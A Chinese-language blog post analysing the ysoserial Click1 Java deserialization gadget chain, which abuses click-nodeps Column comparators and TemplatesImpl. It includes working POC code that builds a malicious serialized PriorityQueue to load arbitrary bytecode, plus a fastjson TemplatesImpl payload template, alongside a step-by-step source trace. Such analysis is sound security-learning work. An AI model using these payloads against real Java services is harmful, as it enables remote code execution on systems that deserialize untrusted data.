前段时间ysoserial又更新了一个链Click1,网上好像一直没人分析,最近在学习java,就稍微分析下。
Click1依赖click-nodeps-2.3.0.jar,javax.servlet-api-3.1.0.jar
click-nodeps应该是个冷门项目,搜不到太多信息,所以此链也就看看就好,增加一点关于java反序列化的知识。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Click1.java
不想重新编译ysoserial的,或者只想要POC的,可以用我重构的代码如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Click1 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = column.getComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
column.setName("outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Click1链和CommonsBeanutils1链息息相关,更确切来说,这就是CommonsBeanutils1链在其他jar包的用法。想要跟这个链,就必须了解CommonsBeanutils1链的知识,比如TemplatesImpl。
Click1链和CommonsBeanutils1链都是无法直接去调Runtime.getRuntime().exec()的,只能使用TemplatesImpl加载任意类。
如何做到的呢?先看com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
调newTransformer()
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
调getTransletInstance()
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
需要_name不为null且_class为null,这就是setFieldValue(obj, "_name", "XXX");的意义。
调defineTransletClasses()
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
注意这里_tfactory.getExternalExtensionsMap(),也就是为什么将_tfactory设置成new TransformerFactoryImpl()的原因。
但我们可以发现在fastjson的payload中并没有这样设置。
{"a": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": [""xxxxxxxxxxxxxxxxxxxxxxxx""],"_name": "aaa","_tfactory": {},"_outputProperties": {}}}
实际情况注释掉这行代码生成的反序列化payload也一样能用,但直接调用getOutputProperties却不能缺失这行,所以最好还是加上。
而我们设置的_bytecodes在这儿被defineClass加载进去,此处最终会调用原生defineClass加载字节码,然后赋值给_class[i]。而在getTransletInstance()执行defineTransletClasses()之后
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
由于_transletIndex = i,至此我们加载进去的TemplatesImplcmd.class被实例化。
总结,只要我们事先用反射设置好_bytecodes/_name/_tfactory这三个属性,再调用TemplatesImpl.getOutputProperties(),即可执行任意类。POC如下
package test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.*; import java.lang.reflect.Field; public class Test { public static void main(String[] args) throws Exception { FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bs}); setFieldValue(obj, "_name", "TemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.getOutputProperties(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
这也是正是fastjson payload的原理。
PriorityQueue是一个优先队列,在反序列化的过程中,会调用Comparator对元素进行比较,Click1和CommonsBeanutils1存在反序列化漏洞的原因就是因为它们都重写了compare()方法。
我们还是从后往前去跟,先看PriorityQueue.readObject()
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify();
调用heapify()
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
调用siftDown()
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
comparator在new的时候输入进去,当然不为空,调用siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
调用comparator.compare(),因为Comparator comparator = column.getComparator();,所以实际调的是org.apache.click.control.Column$ColumnComparator.compare()
public int compare(Object row1, Object row2) { this.ascendingSort = column.getTable().isSortedAscending() ? 1 : -1; Object value1 = column.getProperty(row1); Object value2 = column.getProperty(row2);
注意这儿getTable()需要this.table,因此需要column.setTable(new Table());
调用getProperty()
public Object getProperty(Object row) { return getProperty(getName(), row); }
getName()根据column.setName("outputProperties");也就是outputProperties
public String getName() { return name; }
继续跟getProperty()
public Object getProperty(String name, Object row) { if (row instanceof Map) { xxxxxxxxxxx } else { if (methodCache == null) { methodCache = new HashMap<Object, Object>(); } return PropertyUtils.getValue(row, name, methodCache); } }
row不是map,因此调用PropertyUtils.getValue()
public static Object getValue(Object source, String name, Map cache) { String basePart = name; String remainingPart = null; if (source instanceof Map) { return ((Map) source).get(name); } int baseIndex = name.indexOf("."); if (baseIndex != -1) { basePart = name.substring(0, baseIndex); remainingPart = name.substring(baseIndex + 1); } Object value = getObjectPropertyValue(source, basePart, cache);
source不是Map,因此调用getObjectPropertyValue()
private static Object getObjectPropertyValue(Object source, String name, Map cache) { PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name); Method method = null; try { method = (Method) cache.get(methodNameKey); if (method == null) { method = source.getClass().getMethod(ClickUtils.toGetterName(name)); cache.put(methodNameKey, method); } return method.invoke(source);
可以明显看出来以反射的方式,最终执行了ClickUtils.toGetterName(name)方法,而toGetterName()也就是给name加个get而已,而name前面说过就是 outputProperties,而source 就是TemplatesImpl,也就是最终执行了TemplatesImpl.getOutputProperties()。
source为什么TemplatesImpl可以回头看看
getObjectPropertyValue(source)
getValue(source)
getProperty(row)
compare(row1)
siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right];
row1为c也就是queue[child],正是我们反射进去的TemplatesImpl。
setFieldValue(queue, "queue", new Object[]{obj, obj});
最后还剩三行代码需要解释
final Column column = new Column("lowestSetBit"); queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
这里其实在用调getlowestSetBit方法去比较并排序两个new BigInteger("1")。排序之前name被设置为lowestSetBit,排序之后利用反射重置name为outputProperties,两个new BigInteger("1")也被重置为TemplatesImpl。序列化之后再用readObject触发,是用非常巧妙的方式绕过了可以排序和比较的类型(Comparabl接口)限制。
代码很简单不再分析只给出大致的调用链。
Column.Column() //设置name为 lowestSetBit
PriorityQueue.add() //第一次新增
PriorityQueue.offer()
PriorityQueue.grow()
PriorityQueue.add() //第二次新增
PriorityQueue.offer()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
Column$Comparator.compare()
Column.getProperty()
Column.getName() //取出lowestSetBit
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
BigInteger.getLowestSetBit()
而反序列化的调用链为
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
Column.getName()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()
Click1链和CommonsBeanutils1链几乎一模一样,虽然不如CommonsBeanutils1通用,但是认真分析下来还是能学到不少东西。